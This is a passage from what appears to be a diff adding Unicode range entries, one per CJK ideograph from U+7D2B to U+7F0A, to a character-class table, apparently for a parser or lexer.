+ ["\u7D2B", "\u7D2B"], /* CJK Ideograph */
+ ["\u7D2C", "\u7D2C"], /* CJK Ideograph */
+ ["\u7D2D", "\u7D2D"], /* CJK Ideograph */
+ ["\u7D2E", "\u7D2E"], /* CJK Ideograph */
+ ["\u7D2F", "\u7D2F"], /* CJK Ideograph */
+ ["\u7D30", "\u7D30"], /* CJK Ideograph */
+ ["\u7D31", "\u7D31"], /* CJK Ideograph */
+ ["\u7D32", "\u7D32"], /* CJK Ideograph */
+ ["\u7D33", "\u7D33"], /* CJK Ideograph */
+ ["\u7D34", "\u7D34"], /* CJK Ideograph */
+ ["\u7D35", "\u7D35"], /* CJK Ideograph */
+ ["\u7D36", "\u7D36"], /* CJK Ideograph */
+ ["\u7D37", "\u7D37"], /* CJK Ideograph */
+ ["\u7D38", "\u7D38"], /* CJK Ideograph */
+ ["\u7D39", "\u7D39"], /* CJK Ideograph */
+ ["\u7D3A", "\u7D3A"], /* CJK Ideograph */
+ ["\u7D3B", "\u7D3B"], /* CJK Ideograph */
+ ["\u7D3C", "\u7D3C"], /* CJK Ideograph */
+ ["\u7D3D", "\u7D3D"], /* CJK Ideograph */
+ ["\u7D3E", "\u7D3E"], /* CJK Ideograph */
+ ["\u7D3F", "\u7D3F"], /* CJK Ideograph */
+ ["\u7D40", "\u7D40"], /* CJK Ideograph */
+ ["\u7D41", "\u7D41"], /* CJK Ideograph */
+ ["\u7D42", "\u7D42"], /* CJK Ideograph */
+ ["\u7D43", "\u7D43"], /* CJK Ideograph */
+ ["\u7D44", "\u7D44"], /* CJK Ideograph */
+ ["\u7D45", "\u7D45"], /* CJK Ideograph */
+ ["\u7D46", "\u7D46"], /* CJK Ideograph */
+ ["\u7D47", "\u7D47"], /* CJK Ideograph */
+ ["\u7D48", "\u7D48"], /* CJK Ideograph */
+ ["\u7D49", "\u7D49"], /* CJK Ideograph */
+ ["\u7D4A", "\u7D4A"], /* CJK Ideograph */
+ ["\u7D4B", "\u7D4B"], /* CJK Ideograph */
+ ["\u7D4C", "\u7D4C"], /* CJK Ideograph */
+ ["\u7D4D", "\u7D4D"], /* CJK Ideograph */
+ ["\u7D4E", "\u7D4E"], /* CJK Ideograph */
+ ["\u7D4F", "\u7D4F"], /* CJK Ideograph */
+ ["\u7D50", "\u7D50"], /* CJK Ideograph */
+ ["\u7D51", "\u7D51"], /* CJK Ideograph */
+ ["\u7D52", "\u7D52"], /* CJK Ideograph */
+ ["\u7D53", "\u7D53"], /* CJK Ideograph */
+ ["\u7D54", "\u7D54"], /* CJK Ideograph */
+ ["\u7D55", "\u7D55"], /* CJK Ideograph */
+ ["\u7D56", "\u7D56"], /* CJK Ideograph */
+ ["\u7D57", "\u7D57"], /* CJK Ideograph */
+ ["\u7D58", "\u7D58"], /* CJK Ideograph */
+ ["\u7D59", "\u7D59"], /* CJK Ideograph */
+ ["\u7D5A", "\u7D5A"], /* CJK Ideograph */
+ ["\u7D5B", "\u7D5B"], /* CJK Ideograph */
+ ["\u7D5C", "\u7D5C"], /* CJK Ideograph */
+ ["\u7D5D", "\u7D5D"], /* CJK Ideograph */
+ ["\u7D5E", "\u7D5E"], /* CJK Ideograph */
+ ["\u7D5F", "\u7D5F"], /* CJK Ideograph */
+ ["\u7D60", "\u7D60"], /* CJK Ideograph */
+ ["\u7D61", "\u7D61"], /* CJK Ideograph */
+ ["\u7D62", "\u7D62"], /* CJK Ideograph */
+ ["\u7D63", "\u7D63"], /* CJK Ideograph */
+ ["\u7D64", "\u7D64"], /* CJK Ideograph */
+ ["\u7D65", "\u7D65"], /* CJK Ideograph */
+ ["\u7D66", "\u7D66"], /* CJK Ideograph */
+ ["\u7D67", "\u7D67"], /* CJK Ideograph */
+ ["\u7D68", "\u7D68"], /* CJK Ideograph */
+ ["\u7D69", "\u7D69"], /* CJK Ideograph */
+ ["\u7D6A", "\u7D6A"], /* CJK Ideograph */
+ ["\u7D6B", "\u7D6B"], /* CJK Ideograph */
+ ["\u7D6C", "\u7D6C"], /* CJK Ideograph */
+ ["\u7D6D", "\u7D6D"], /* CJK Ideograph */
+ ["\u7D6E", "\u7D6E"], /* CJK Ideograph */
+ ["\u7D6F", "\u7D6F"], /* CJK Ideograph */
+ ["\u7D70", "\u7D70"], /* CJK Ideograph */
+ ["\u7D71", "\u7D71"], /* CJK Ideograph */
+ ["\u7D72", "\u7D72"], /* CJK Ideograph */
+ ["\u7D73", "\u7D73"], /* CJK Ideograph */
+ ["\u7D74", "\u7D74"], /* CJK Ideograph */
+ ["\u7D75", "\u7D75"], /* CJK Ideograph */
+ ["\u7D76", "\u7D76"], /* CJK Ideograph */
+ ["\u7D77", "\u7D77"], /* CJK Ideograph */
+ ["\u7D78", "\u7D78"], /* CJK Ideograph */
+ ["\u7D79", "\u7D79"], /* CJK Ideograph */
+ ["\u7D7A", "\u7D7A"], /* CJK Ideograph */
+ ["\u7D7B", "\u7D7B"], /* CJK Ideograph */
+ ["\u7D7C", "\u7D7C"], /* CJK Ideograph */
+ ["\u7D7D", "\u7D7D"], /* CJK Ideograph */
+ ["\u7D7E", "\u7D7E"], /* CJK Ideograph */
+ ["\u7D7F", "\u7D7F"], /* CJK Ideograph */
+ ["\u7D80", "\u7D80"], /* CJK Ideograph */
+ ["\u7D81", "\u7D81"], /* CJK Ideograph */
+ ["\u7D82", "\u7D82"], /* CJK Ideograph */
+ ["\u7D83", "\u7D83"], /* CJK Ideograph */
+ ["\u7D84", "\u7D84"], /* CJK Ideograph */
+ ["\u7D85", "\u7D85"], /* CJK Ideograph */
+ ["\u7D86", "\u7D86"], /* CJK Ideograph */
+ ["\u7D87", "\u7D87"], /* CJK Ideograph */
+ ["\u7D88", "\u7D88"], /* CJK Ideograph */
+ ["\u7D89", "\u7D89"], /* CJK Ideograph */
+ ["\u7D8A", "\u7D8A"], /* CJK Ideograph */
+ ["\u7D8B", "\u7D8B"], /* CJK Ideograph */
+ ["\u7D8C", "\u7D8C"], /* CJK Ideograph */
+ ["\u7D8D", "\u7D8D"], /* CJK Ideograph */
+ ["\u7D8E", "\u7D8E"], /* CJK Ideograph */
+ ["\u7D8F", "\u7D8F"], /* CJK Ideograph */
+ ["\u7D90", "\u7D90"], /* CJK Ideograph */
+ ["\u7D91", "\u7D91"], /* CJK Ideograph */
+ ["\u7D92", "\u7D92"], /* CJK Ideograph */
+ ["\u7D93", "\u7D93"], /* CJK Ideograph */
+ ["\u7D94", "\u7D94"], /* CJK Ideograph */
+ ["\u7D95", "\u7D95"], /* CJK Ideograph */
+ ["\u7D96", "\u7D96"], /* CJK Ideograph */
+ ["\u7D97", "\u7D97"], /* CJK Ideograph */
+ ["\u7D98", "\u7D98"], /* CJK Ideograph */
+ ["\u7D99", "\u7D99"], /* CJK Ideograph */
+ ["\u7D9A", "\u7D9A"], /* CJK Ideograph */
+ ["\u7D9B", "\u7D9B"], /* CJK Ideograph */
+ ["\u7D9C", "\u7D9C"], /* CJK Ideograph */
+ ["\u7D9D", "\u7D9D"], /* CJK Ideograph */
+ ["\u7D9E", "\u7D9E"], /* CJK Ideograph */
+ ["\u7D9F", "\u7D9F"], /* CJK Ideograph */
+ ["\u7DA0", "\u7DA0"], /* CJK Ideograph */
+ ["\u7DA1", "\u7DA1"], /* CJK Ideograph */
+ ["\u7DA2", "\u7DA2"], /* CJK Ideograph */
+ ["\u7DA3", "\u7DA3"], /* CJK Ideograph */
+ ["\u7DA4", "\u7DA4"], /* CJK Ideograph */
+ ["\u7DA5", "\u7DA5"], /* CJK Ideograph */
+ ["\u7DA6", "\u7DA6"], /* CJK Ideograph */
+ ["\u7DA7", "\u7DA7"], /* CJK Ideograph */
+ ["\u7DA8", "\u7DA8"], /* CJK Ideograph */
+ ["\u7DA9", "\u7DA9"], /* CJK Ideograph */
+ ["\u7DAA", "\u7DAA"], /* CJK Ideograph */
+ ["\u7DAB", "\u7DAB"], /* CJK Ideograph */
+ ["\u7DAC", "\u7DAC"], /* CJK Ideograph */
+ ["\u7DAD", "\u7DAD"], /* CJK Ideograph */
+ ["\u7DAE", "\u7DAE"], /* CJK Ideograph */
+ ["\u7DAF", "\u7DAF"], /* CJK Ideograph */
+ ["\u7DB0", "\u7DB0"], /* CJK Ideograph */
+ ["\u7DB1", "\u7DB1"], /* CJK Ideograph */
+ ["\u7DB2", "\u7DB2"], /* CJK Ideograph */
+ ["\u7DB3", "\u7DB3"], /* CJK Ideograph */
+ ["\u7DB4", "\u7DB4"], /* CJK Ideograph */
+ ["\u7DB5", "\u7DB5"], /* CJK Ideograph */
+ ["\u7DB6", "\u7DB6"], /* CJK Ideograph */
+ ["\u7DB7", "\u7DB7"], /* CJK Ideograph */
+ ["\u7DB8", "\u7DB8"], /* CJK Ideograph */
+ ["\u7DB9", "\u7DB9"], /* CJK Ideograph */
+ ["\u7DBA", "\u7DBA"], /* CJK Ideograph */
+ ["\u7DBB", "\u7DBB"], /* CJK Ideograph */
+ ["\u7DBC", "\u7DBC"], /* CJK Ideograph */
+ ["\u7DBD", "\u7DBD"], /* CJK Ideograph */
+ ["\u7DBE", "\u7DBE"], /* CJK Ideograph */
+ ["\u7DBF", "\u7DBF"], /* CJK Ideograph */
+ ["\u7DC0", "\u7DC0"], /* CJK Ideograph */
+ ["\u7DC1", "\u7DC1"], /* CJK Ideograph */
+ ["\u7DC2", "\u7DC2"], /* CJK Ideograph */
+ ["\u7DC3", "\u7DC3"], /* CJK Ideograph */
+ ["\u7DC4", "\u7DC4"], /* CJK Ideograph */
+ ["\u7DC5", "\u7DC5"], /* CJK Ideograph */
+ ["\u7DC6", "\u7DC6"], /* CJK Ideograph */
+ ["\u7DC7", "\u7DC7"], /* CJK Ideograph */
+ ["\u7DC8", "\u7DC8"], /* CJK Ideograph */
+ ["\u7DC9", "\u7DC9"], /* CJK Ideograph */
+ ["\u7DCA", "\u7DCA"], /* CJK Ideograph */
+ ["\u7DCB", "\u7DCB"], /* CJK Ideograph */
+ ["\u7DCC", "\u7DCC"], /* CJK Ideograph */
+ ["\u7DCD", "\u7DCD"], /* CJK Ideograph */
+ ["\u7DCE", "\u7DCE"], /* CJK Ideograph */
+ ["\u7DCF", "\u7DCF"], /* CJK Ideograph */
+ ["\u7DD0", "\u7DD0"], /* CJK Ideograph */
+ ["\u7DD1", "\u7DD1"], /* CJK Ideograph */
+ ["\u7DD2", "\u7DD2"], /* CJK Ideograph */
+ ["\u7DD3", "\u7DD3"], /* CJK Ideograph */
+ ["\u7DD4", "\u7DD4"], /* CJK Ideograph */
+ ["\u7DD5", "\u7DD5"], /* CJK Ideograph */
+ ["\u7DD6", "\u7DD6"], /* CJK Ideograph */
+ ["\u7DD7", "\u7DD7"], /* CJK Ideograph */
+ ["\u7DD8", "\u7DD8"], /* CJK Ideograph */
+ ["\u7DD9", "\u7DD9"], /* CJK Ideograph */
+ ["\u7DDA", "\u7DDA"], /* CJK Ideograph */
+ ["\u7DDB", "\u7DDB"], /* CJK Ideograph */
+ ["\u7DDC", "\u7DDC"], /* CJK Ideograph */
+ ["\u7DDD", "\u7DDD"], /* CJK Ideograph */
+ ["\u7DDE", "\u7DDE"], /* CJK Ideograph */
+ ["\u7DDF", "\u7DDF"], /* CJK Ideograph */
+ ["\u7DE0", "\u7DE0"], /* CJK Ideograph */
+ ["\u7DE1", "\u7DE1"], /* CJK Ideograph */
+ ["\u7DE2", "\u7DE2"], /* CJK Ideograph */
+ ["\u7DE3", "\u7DE3"], /* CJK Ideograph */
+ ["\u7DE4", "\u7DE4"], /* CJK Ideograph */
+ ["\u7DE5", "\u7DE5"], /* CJK Ideograph */
+ ["\u7DE6", "\u7DE6"], /* CJK Ideograph */
+ ["\u7DE7", "\u7DE7"], /* CJK Ideograph */
+ ["\u7DE8", "\u7DE8"], /* CJK Ideograph */
+ ["\u7DE9", "\u7DE9"], /* CJK Ideograph */
+ ["\u7DEA", "\u7DEA"], /* CJK Ideograph */
+ ["\u7DEB", "\u7DEB"], /* CJK Ideograph */
+ ["\u7DEC", "\u7DEC"], /* CJK Ideograph */
+ ["\u7DED", "\u7DED"], /* CJK Ideograph */
+ ["\u7DEE", "\u7DEE"], /* CJK Ideograph */
+ ["\u7DEF", "\u7DEF"], /* CJK Ideograph */
+ ["\u7DF0", "\u7DF0"], /* CJK Ideograph */
+ ["\u7DF1", "\u7DF1"], /* CJK Ideograph */
+ ["\u7DF2", "\u7DF2"], /* CJK Ideograph */
+ ["\u7DF3", "\u7DF3"], /* CJK Ideograph */
+ ["\u7DF4", "\u7DF4"], /* CJK Ideograph */
+ ["\u7DF5", "\u7DF5"], /* CJK Ideograph */
+ ["\u7DF6", "\u7DF6"], /* CJK Ideograph */
+ ["\u7DF7", "\u7DF7"], /* CJK Ideograph */
+ ["\u7DF8", "\u7DF8"], /* CJK Ideograph */
+ ["\u7DF9", "\u7DF9"], /* CJK Ideograph */
+ ["\u7DFA", "\u7DFA"], /* CJK Ideograph */
+ ["\u7DFB", "\u7DFB"], /* CJK Ideograph */
+ ["\u7DFC", "\u7DFC"], /* CJK Ideograph */
+ ["\u7DFD", "\u7DFD"], /* CJK Ideograph */
+ ["\u7DFE", "\u7DFE"], /* CJK Ideograph */
+ ["\u7DFF", "\u7DFF"], /* CJK Ideograph */
+ ["\u7E00", "\u7E00"], /* CJK Ideograph */
+ ["\u7E01", "\u7E01"], /* CJK Ideograph */
+ ["\u7E02", "\u7E02"], /* CJK Ideograph */
+ ["\u7E03", "\u7E03"], /* CJK Ideograph */
+ ["\u7E04", "\u7E04"], /* CJK Ideograph */
+ ["\u7E05", "\u7E05"], /* CJK Ideograph */
+ ["\u7E06", "\u7E06"], /* CJK Ideograph */
+ ["\u7E07", "\u7E07"], /* CJK Ideograph */
+ ["\u7E08", "\u7E08"], /* CJK Ideograph */
+ ["\u7E09", "\u7E09"], /* CJK Ideograph */
+ ["\u7E0A", "\u7E0A"], /* CJK Ideograph */
+ ["\u7E0B", "\u7E0B"], /* CJK Ideograph */
+ ["\u7E0C", "\u7E0C"], /* CJK Ideograph */
+ ["\u7E0D", "\u7E0D"], /* CJK Ideograph */
+ ["\u7E0E", "\u7E0E"], /* CJK Ideograph */
+ ["\u7E0F", "\u7E0F"], /* CJK Ideograph */
+ ["\u7E10", "\u7E10"], /* CJK Ideograph */
+ ["\u7E11", "\u7E11"], /* CJK Ideograph */
+ ["\u7E12", "\u7E12"], /* CJK Ideograph */
+ ["\u7E13", "\u7E13"], /* CJK Ideograph */
+ ["\u7E14", "\u7E14"], /* CJK Ideograph */
+ ["\u7E15", "\u7E15"], /* CJK Ideograph */
+ ["\u7E16", "\u7E16"], /* CJK Ideograph */
+ ["\u7E17", "\u7E17"], /* CJK Ideograph */
+ ["\u7E18", "\u7E18"], /* CJK Ideograph */
+ ["\u7E19", "\u7E19"], /* CJK Ideograph */
+ ["\u7E1A", "\u7E1A"], /* CJK Ideograph */
+ ["\u7E1B", "\u7E1B"], /* CJK Ideograph */
+ ["\u7E1C", "\u7E1C"], /* CJK Ideograph */
+ ["\u7E1D", "\u7E1D"], /* CJK Ideograph */
+ ["\u7E1E", "\u7E1E"], /* CJK Ideograph */
+ ["\u7E1F", "\u7E1F"], /* CJK Ideograph */
+ ["\u7E20", "\u7E20"], /* CJK Ideograph */
+ ["\u7E21", "\u7E21"], /* CJK Ideograph */
+ ["\u7E22", "\u7E22"], /* CJK Ideograph */
+ ["\u7E23", "\u7E23"], /* CJK Ideograph */
+ ["\u7E24", "\u7E24"], /* CJK Ideograph */
+ ["\u7E25", "\u7E25"], /* CJK Ideograph */
+ ["\u7E26", "\u7E26"], /* CJK Ideograph */
+ ["\u7E27", "\u7E27"], /* CJK Ideograph */
+ ["\u7E28", "\u7E28"], /* CJK Ideograph */
+ ["\u7E29", "\u7E29"], /* CJK Ideograph */
+ ["\u7E2A", "\u7E2A"], /* CJK Ideograph */
+ ["\u7E2B", "\u7E2B"], /* CJK Ideograph */
+ ["\u7E2C", "\u7E2C"], /* CJK Ideograph */
+ ["\u7E2D", "\u7E2D"], /* CJK Ideograph */
+ ["\u7E2E", "\u7E2E"], /* CJK Ideograph */
+ ["\u7E2F", "\u7E2F"], /* CJK Ideograph */
+ ["\u7E30", "\u7E30"], /* CJK Ideograph */
+ ["\u7E31", "\u7E31"], /* CJK Ideograph */
+ ["\u7E32", "\u7E32"], /* CJK Ideograph */
+ ["\u7E33", "\u7E33"], /* CJK Ideograph */
+ ["\u7E34", "\u7E34"], /* CJK Ideograph */
+ ["\u7E35", "\u7E35"], /* CJK Ideograph */
+ ["\u7E36", "\u7E36"], /* CJK Ideograph */
+ ["\u7E37", "\u7E37"], /* CJK Ideograph */
+ ["\u7E38", "\u7E38"], /* CJK Ideograph */
+ ["\u7E39", "\u7E39"], /* CJK Ideograph */
+ ["\u7E3A", "\u7E3A"], /* CJK Ideograph */
+ ["\u7E3B", "\u7E3B"], /* CJK Ideograph */
+ ["\u7E3C", "\u7E3C"], /* CJK Ideograph */
+ ["\u7E3D", "\u7E3D"], /* CJK Ideograph */
+ ["\u7E3E", "\u7E3E"], /* CJK Ideograph */
+ ["\u7E3F", "\u7E3F"], /* CJK Ideograph */
+ ["\u7E40", "\u7E40"], /* CJK Ideograph */
+ ["\u7E41", "\u7E41"], /* CJK Ideograph */
+ ["\u7E42", "\u7E42"], /* CJK Ideograph */
+ ["\u7E43", "\u7E43"], /* CJK Ideograph */
+ ["\u7E44", "\u7E44"], /* CJK Ideograph */
+ ["\u7E45", "\u7E45"], /* CJK Ideograph */
+ ["\u7E46", "\u7E46"], /* CJK Ideograph */
+ ["\u7E47", "\u7E47"], /* CJK Ideograph */
+ ["\u7E48", "\u7E48"], /* CJK Ideograph */
+ ["\u7E49", "\u7E49"], /* CJK Ideograph */
+ ["\u7E4A", "\u7E4A"], /* CJK Ideograph */
+ ["\u7E4B", "\u7E4B"], /* CJK Ideograph */
+ ["\u7E4C", "\u7E4C"], /* CJK Ideograph */
+ ["\u7E4D", "\u7E4D"], /* CJK Ideograph */
+ ["\u7E4E", "\u7E4E"], /* CJK Ideograph */
+ ["\u7E4F", "\u7E4F"], /* CJK Ideograph */
+ ["\u7E50", "\u7E50"], /* CJK Ideograph */
+ ["\u7E51", "\u7E51"], /* CJK Ideograph */
+ ["\u7E52", "\u7E52"], /* CJK Ideograph */
+ ["\u7E53", "\u7E53"], /* CJK Ideograph */
+ ["\u7E54", "\u7E54"], /* CJK Ideograph */
+ ["\u7E55", "\u7E55"], /* CJK Ideograph */
+ ["\u7E56", "\u7E56"], /* CJK Ideograph */
+ ["\u7E57", "\u7E57"], /* CJK Ideograph */
+ ["\u7E58", "\u7E58"], /* CJK Ideograph */
+ ["\u7E59", "\u7E59"], /* CJK Ideograph */
+ ["\u7E5A", "\u7E5A"], /* CJK Ideograph */
+ ["\u7E5B", "\u7E5B"], /* CJK Ideograph */
+ ["\u7E5C", "\u7E5C"], /* CJK Ideograph */
+ ["\u7E5D", "\u7E5D"], /* CJK Ideograph */
+ ["\u7E5E", "\u7E5E"], /* CJK Ideograph */
+ ["\u7E5F", "\u7E5F"], /* CJK Ideograph */
+ ["\u7E60", "\u7E60"], /* CJK Ideograph */
+ ["\u7E61", "\u7E61"], /* CJK Ideograph */
+ ["\u7E62", "\u7E62"], /* CJK Ideograph */
+ ["\u7E63", "\u7E63"], /* CJK Ideograph */
+ ["\u7E64", "\u7E64"], /* CJK Ideograph */
+ ["\u7E65", "\u7E65"], /* CJK Ideograph */
+ ["\u7E66", "\u7E66"], /* CJK Ideograph */
+ ["\u7E67", "\u7E67"], /* CJK Ideograph */
+ ["\u7E68", "\u7E68"], /* CJK Ideograph */
+ ["\u7E69", "\u7E69"], /* CJK Ideograph */
+ ["\u7E6A", "\u7E6A"], /* CJK Ideograph */
+ ["\u7E6B", "\u7E6B"], /* CJK Ideograph */
+ ["\u7E6C", "\u7E6C"], /* CJK Ideograph */
+ ["\u7E6D", "\u7E6D"], /* CJK Ideograph */
+ ["\u7E6E", "\u7E6E"], /* CJK Ideograph */
+ ["\u7E6F", "\u7E6F"], /* CJK Ideograph */
+ ["\u7E70", "\u7E70"], /* CJK Ideograph */
+ ["\u7E71", "\u7E71"], /* CJK Ideograph */
+ ["\u7E72", "\u7E72"], /* CJK Ideograph */
+ ["\u7E73", "\u7E73"], /* CJK Ideograph */
+ ["\u7E74", "\u7E74"], /* CJK Ideograph */
+ ["\u7E75", "\u7E75"], /* CJK Ideograph */
+ ["\u7E76", "\u7E76"], /* CJK Ideograph */
+ ["\u7E77", "\u7E77"], /* CJK Ideograph */
+ ["\u7E78", "\u7E78"], /* CJK Ideograph */
+ ["\u7E79", "\u7E79"], /* CJK Ideograph */
+ ["\u7E7A", "\u7E7A"], /* CJK Ideograph */
+ ["\u7E7B", "\u7E7B"], /* CJK Ideograph */
+ ["\u7E7C", "\u7E7C"], /* CJK Ideograph */
+ ["\u7E7D", "\u7E7D"], /* CJK Ideograph */
+ ["\u7E7E", "\u7E7E"], /* CJK Ideograph */
+ ["\u7E7F", "\u7E7F"], /* CJK Ideograph */
+ ["\u7E80", "\u7E80"], /* CJK Ideograph */
+ ["\u7E81", "\u7E81"], /* CJK Ideograph */
+ ["\u7E82", "\u7E82"], /* CJK Ideograph */
+ ["\u7E83", "\u7E83"], /* CJK Ideograph */
+ ["\u7E84", "\u7E84"], /* CJK Ideograph */
+ ["\u7E85", "\u7E85"], /* CJK Ideograph */
+ ["\u7E86", "\u7E86"], /* CJK Ideograph */
+ ["\u7E87", "\u7E87"], /* CJK Ideograph */
+ ["\u7E88", "\u7E88"], /* CJK Ideograph */
+ ["\u7E89", "\u7E89"], /* CJK Ideograph */
+ ["\u7E8A", "\u7E8A"], /* CJK Ideograph */
+ ["\u7E8B", "\u7E8B"], /* CJK Ideograph */
+ ["\u7E8C", "\u7E8C"], /* CJK Ideograph */
+ ["\u7E8D", "\u7E8D"], /* CJK Ideograph */
+ ["\u7E8E", "\u7E8E"], /* CJK Ideograph */
+ ["\u7E8F", "\u7E8F"], /* CJK Ideograph */
+ ["\u7E90", "\u7E90"], /* CJK Ideograph */
+ ["\u7E91", "\u7E91"], /* CJK Ideograph */
+ ["\u7E92", "\u7E92"], /* CJK Ideograph */
+ ["\u7E93", "\u7E93"], /* CJK Ideograph */
+ ["\u7E94", "\u7E94"], /* CJK Ideograph */
+ ["\u7E95", "\u7E95"], /* CJK Ideograph */
+ ["\u7E96", "\u7E96"], /* CJK Ideograph */
+ ["\u7E97", "\u7E97"], /* CJK Ideograph */
+ ["\u7E98", "\u7E98"], /* CJK Ideograph */
+ ["\u7E99", "\u7E99"], /* CJK Ideograph */
+ ["\u7E9A", "\u7E9A"], /* CJK Ideograph */
+ ["\u7E9B", "\u7E9B"], /* CJK Ideograph */
+ ["\u7E9C", "\u7E9C"], /* CJK Ideograph */
+ ["\u7E9D", "\u7E9D"], /* CJK Ideograph */
+ ["\u7E9E", "\u7E9E"], /* CJK Ideograph */
+ ["\u7E9F", "\u7E9F"], /* CJK Ideograph */
+ ["\u7EA0", "\u7EA0"], /* CJK Ideograph */
+ ["\u7EA1", "\u7EA1"], /* CJK Ideograph */
+ ["\u7EA2", "\u7EA2"], /* CJK Ideograph */
+ ["\u7EA3", "\u7EA3"], /* CJK Ideograph */
+ ["\u7EA4", "\u7EA4"], /* CJK Ideograph */
+ ["\u7EA5", "\u7EA5"], /* CJK Ideograph */
+ ["\u7EA6", "\u7EA6"], /* CJK Ideograph */
+ ["\u7EA7", "\u7EA7"], /* CJK Ideograph */
+ ["\u7EA8", "\u7EA8"], /* CJK Ideograph */
+ ["\u7EA9", "\u7EA9"], /* CJK Ideograph */
+ ["\u7EAA", "\u7EAA"], /* CJK Ideograph */
+ ["\u7EAB", "\u7EAB"], /* CJK Ideograph */
+ ["\u7EAC", "\u7EAC"], /* CJK Ideograph */
+ ["\u7EAD", "\u7EAD"], /* CJK Ideograph */
+ ["\u7EAE", "\u7EAE"], /* CJK Ideograph */
+ ["\u7EAF", "\u7EAF"], /* CJK Ideograph */
+ ["\u7EB0", "\u7EB0"], /* CJK Ideograph */
+ ["\u7EB1", "\u7EB1"], /* CJK Ideograph */
+ ["\u7EB2", "\u7EB2"], /* CJK Ideograph */
+ ["\u7EB3", "\u7EB3"], /* CJK Ideograph */
+ ["\u7EB4", "\u7EB4"], /* CJK Ideograph */
+ ["\u7EB5", "\u7EB5"], /* CJK Ideograph */
+ ["\u7EB6", "\u7EB6"], /* CJK Ideograph */
+ ["\u7EB7", "\u7EB7"], /* CJK Ideograph */
+ ["\u7EB8", "\u7EB8"], /* CJK Ideograph */
+ ["\u7EB9", "\u7EB9"], /* CJK Ideograph */
+ ["\u7EBA", "\u7EBA"], /* CJK Ideograph */
+ ["\u7EBB", "\u7EBB"], /* CJK Ideograph */
+ ["\u7EBC", "\u7EBC"], /* CJK Ideograph */
+ ["\u7EBD", "\u7EBD"], /* CJK Ideograph */
+ ["\u7EBE", "\u7EBE"], /* CJK Ideograph */
+ ["\u7EBF", "\u7EBF"], /* CJK Ideograph */
+ ["\u7EC0", "\u7EC0"], /* CJK Ideograph */
+ ["\u7EC1", "\u7EC1"], /* CJK Ideograph */
+ ["\u7EC2", "\u7EC2"], /* CJK Ideograph */
+ ["\u7EC3", "\u7EC3"], /* CJK Ideograph */
+ ["\u7EC4", "\u7EC4"], /* CJK Ideograph */
+ ["\u7EC5", "\u7EC5"], /* CJK Ideograph */
+ ["\u7EC6", "\u7EC6"], /* CJK Ideograph */
+ ["\u7EC7", "\u7EC7"], /* CJK Ideograph */
+ ["\u7EC8", "\u7EC8"], /* CJK Ideograph */
+ ["\u7EC9", "\u7EC9"], /* CJK Ideograph */
+ ["\u7ECA", "\u7ECA"], /* CJK Ideograph */
+ ["\u7ECB", "\u7ECB"], /* CJK Ideograph */
+ ["\u7ECC", "\u7ECC"], /* CJK Ideograph */
+ ["\u7ECD", "\u7ECD"], /* CJK Ideograph */
+ ["\u7ECE", "\u7ECE"], /* CJK Ideograph */
+ ["\u7ECF", "\u7ECF"], /* CJK Ideograph */
+ ["\u7ED0", "\u7ED0"], /* CJK Ideograph */
+ ["\u7ED1", "\u7ED1"], /* CJK Ideograph */
+ ["\u7ED2", "\u7ED2"], /* CJK Ideograph */
+ ["\u7ED3", "\u7ED3"], /* CJK Ideograph */
+ ["\u7ED4", "\u7ED4"], /* CJK Ideograph */
+ ["\u7ED5", "\u7ED5"], /* CJK Ideograph */
+ ["\u7ED6", "\u7ED6"], /* CJK Ideograph */
+ ["\u7ED7", "\u7ED7"], /* CJK Ideograph */
+ ["\u7ED8", "\u7ED8"], /* CJK Ideograph */
+ ["\u7ED9", "\u7ED9"], /* CJK Ideograph */
+ ["\u7EDA", "\u7EDA"], /* CJK Ideograph */
+ ["\u7EDB", "\u7EDB"], /* CJK Ideograph */
+ ["\u7EDC", "\u7EDC"], /* CJK Ideograph */
+ ["\u7EDD", "\u7EDD"], /* CJK Ideograph */
+ ["\u7EDE", "\u7EDE"], /* CJK Ideograph */
+ ["\u7EDF", "\u7EDF"], /* CJK Ideograph */
+ ["\u7EE0", "\u7EE0"], /* CJK Ideograph */
+ ["\u7EE1", "\u7EE1"], /* CJK Ideograph */
+ ["\u7EE2", "\u7EE2"], /* CJK Ideograph */
+ ["\u7EE3", "\u7EE3"], /* CJK Ideograph */
+ ["\u7EE4", "\u7EE4"], /* CJK Ideograph */
+ ["\u7EE5", "\u7EE5"], /* CJK Ideograph */
+ ["\u7EE6", "\u7EE6"], /* CJK Ideograph */
+ ["\u7EE7", "\u7EE7"], /* CJK Ideograph */
+ ["\u7EE8", "\u7EE8"], /* CJK Ideograph */
+ ["\u7EE9", "\u7EE9"], /* CJK Ideograph */
+ ["\u7EEA", "\u7EEA"], /* CJK Ideograph */
+ ["\u7EEB", "\u7EEB"], /* CJK Ideograph */
+ ["\u7EEC", "\u7EEC"], /* CJK Ideograph */
+ ["\u7EED", "\u7EED"], /* CJK Ideograph */
+ ["\u7EEE", "\u7EEE"], /* CJK Ideograph */
+ ["\u7EEF", "\u7EEF"], /* CJK Ideograph */
+ ["\u7EF0", "\u7EF0"], /* CJK Ideograph */
+ ["\u7EF1", "\u7EF1"], /* CJK Ideograph */
+ ["\u7EF2", "\u7EF2"], /* CJK Ideograph */
+ ["\u7EF3", "\u7EF3"], /* CJK Ideograph */
+ ["\u7EF4", "\u7EF4"], /* CJK Ideograph */
+ ["\u7EF5", "\u7EF5"], /* CJK Ideograph */
+ ["\u7EF6", "\u7EF6"], /* CJK Ideograph */
+ ["\u7EF7", "\u7EF7"], /* CJK Ideograph */
+ ["\u7EF8", "\u7EF8"], /* CJK Ideograph */
+ ["\u7EF9", "\u7EF9"], /* CJK Ideograph */
+ ["\u7EFA", "\u7EFA"], /* CJK Ideograph */
+ ["\u7EFB", "\u7EFB"], /* CJK Ideograph */
+ ["\u7EFC", "\u7EFC"], /* CJK Ideograph */
+ ["\u7EFD", "\u7EFD"], /* CJK Ideograph */
+ ["\u7EFE", "\u7EFE"], /* CJK Ideograph */
+ ["\u7EFF", "\u7EFF"], /* CJK Ideograph */
+ ["\u7F00", "\u7F00"], /* CJK Ideograph */
+ ["\u7F01", "\u7F01"], /* CJK Ideograph */
+ ["\u7F02", "\u7F02"], /* CJK Ideograph */
+ ["\u7F03", "\u7F03"], /* CJK Ideograph */
+ ["\u7F04", "\u7F04"], /* CJK Ideograph */
+ ["\u7F05", "\u7F05"], /* CJK Ideograph */
+ ["\u7F06", "\u7F06"], /* CJK Ideograph */
+ ["\u7F07", "\u7F07"], /* CJK Ideograph */
+ ["\u7F08", "\u7F08"], /* CJK Ideograph */
+ ["\u7F09", "\u7F09"], /* CJK Ideograph */
+ ["\u7F0A", "\u7F0A"], /* CJK Ideograph */
